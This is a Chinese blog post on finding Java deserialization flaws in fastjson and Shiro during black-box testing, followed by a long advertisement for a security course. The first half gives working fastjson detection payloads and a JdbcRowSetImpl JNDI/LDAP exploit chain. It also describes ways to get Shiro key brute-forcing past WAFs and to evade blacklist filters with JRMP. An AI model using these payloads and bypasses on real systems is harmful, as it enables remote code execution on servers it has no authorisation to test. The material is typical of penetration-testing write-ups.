Java反序列化漏洞黑盒挖掘思路-上篇

java反序列化分为原生反序列化和组件反序列化,组件反序列化有大家熟知的fastjson反序列化,shiro反序列化漏洞等,这篇文章分享一下自己的反序列化漏洞黑盒挖掘思路。

以在实战中挖到的反序列化漏洞举例,网站中反序列化漏洞数量大概为:fastjson>shiro>=jdbc>XStream>原生反序列化

一、fastjson反序列化漏洞

1.1判断链子

fastjson反序列化漏洞主要看数据包是否以json传输,如果是json传输,就可以尝试打一下payload。

可以先删除请求数据包的 } ,查看报错,报错如果是这样的,基本就可以判断使用了fastjson组件

直接盲打可以打这个payload,如果存在fastjson1.2.24-1.2.83,就会收到dnslog请求

{"zero":{"@type":"java.net.Inet4Address","val":"xxx"}}

判断fastjson版本

{"@type":"java.lang.AutoCloseable"a["test":1]

如果版本在1.2.47以下,出网,可以打这条通杀链子

{"v47":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"xxx":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://0.0.0.0","autoCommit":true}}

如果服务器不出网,无法收到dnslog请求,可以直接跑@type的类,查看报错回显长度判断是否使用了fastjson,在之前写的文章也有提及

如果存在这几个类,可以直接打不出网利用链

com.mchange.v2.c3p0.WrapperConnectionPoolDataSource

这些链子可以用Java Chains工具生成。c3p0二次反序列化链,因为是fastjson反序列化漏洞,那就肯定会有fastjson链。

c3p0二次反序列化链:

二、shiro反序列化漏洞

2.1waf绕过:

请求数据包中存在Cookie: rememberMe就可以尝试爆破一下密钥

如果遇到waf,可以尝试在remember添加脏数据绕过

在remember插入@$`_-等符号,不影响链子使用

我写了一个脚本给remember添加脏数据绕过waf爆破密钥

https://pan.baidu.com/s/1IqJdYSJpi1lpJxyeRFgkEw?pwd=y7wd 提取码: y7wd

也可以把数据包改成post,添加脏数据绕过,例如我这里添加了test参数,塞入4mb脏数据

2.2有key无链:

遇到有key无链的情况,一般来说shiro基本会有cb链的,因为shiro组件默认就会导入cb链的依赖,如果代码存在一些过滤,可以尝试打其他链子。

也可以用刚才的Java Chains工具,请求dnslog就可以判断有什么链子。之前写的文章也有提及。

不出网可以通过延时来判断是否存在这条链子

有key无链也可以尝试JRMP二次反序列化链。如果过滤器只是简单地检查序列化数据里有没有“java.lang.Runtime”或“ProcessBuilder”这种危险类名,那么JRMP二次反序列化就能绕过。(这里的复现图以原生反序列化举例)

学习资源


如果你也是零基础想转行网络安全,却苦于没系统学习路径、不懂核心攻防技能?光靠盲目摸索不仅浪费时间,还消磨自己信心。这份 360 智榜样学习中心独家出版《网络攻防知识库》专为转行党量身打造!

01 内容涵盖

这份资料专门为零基础转行设计,19 大核心模块从 Linux系统、Python 基础、HTTP协议等地基知识到 Web 渗透、代码审计、CTF 实战层层递进,攻防结合的讲解方式让新手轻松上手,真实实战案例 + 落地脚本直接对标企业岗位需求,帮你快速搭建转行核心技能体系!

imgimg

这份完整版的网络安全学习资料已经上传CSDN【保证100%免费】

**读者福利 |** *CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享 * (安全链接,放心点击)在这里插入图片描述

02 知识库价值

  • 深度: 本知识库超越常规工具手册,深入剖析攻击技术的底层原理与高级防御策略,并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等,提供了独到的技术视角和实战验证过的对抗方案
  • 广度: 面向企业安全建设的核心场景(渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营),本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点,是应对复杂攻防挑战的实用指南
  • 实战性: 知识库内容源于真实攻防对抗和大型演练实践,通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。

03 谁需要掌握本知识库

  • 负责企业整体安全策略与建设的 CISO/安全总监
  • 从事渗透测试、红队行动的 安全研究员/渗透测试工程师
  • 负责安全监控、威胁分析、应急响应的 蓝队工程师/SOC分析师
  • 设计开发安全产品、自动化工具的 安全开发工程师
  • 对网络攻防技术有浓厚兴趣的 高校信息安全专业师生

04 部分核心内容展示

在这里插入图片描述

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

内容组织紧密结合攻防场景,辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合,是你学习过程中好帮手。

1、网络安全意识

图片

2、Linux操作系统

图片

3、WEB架构基础与HTTP协议

图片

4、Web渗透测试

图片

5、渗透测试案例分享

图片

6、渗透测试实战技巧

在这里插入图片描述

7、攻防对战实战

图片

8、CTF之MISC实战讲解

图片

这份完整版的网络安全学习资料已经上传CSDN【保证100%免费】

**读者福利 |** *CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享 * **(安全链接,放心点击)**
在这里插入图片描述

Logo

汇聚全球AI编程工具,助力开发者即刻编程。

更多推荐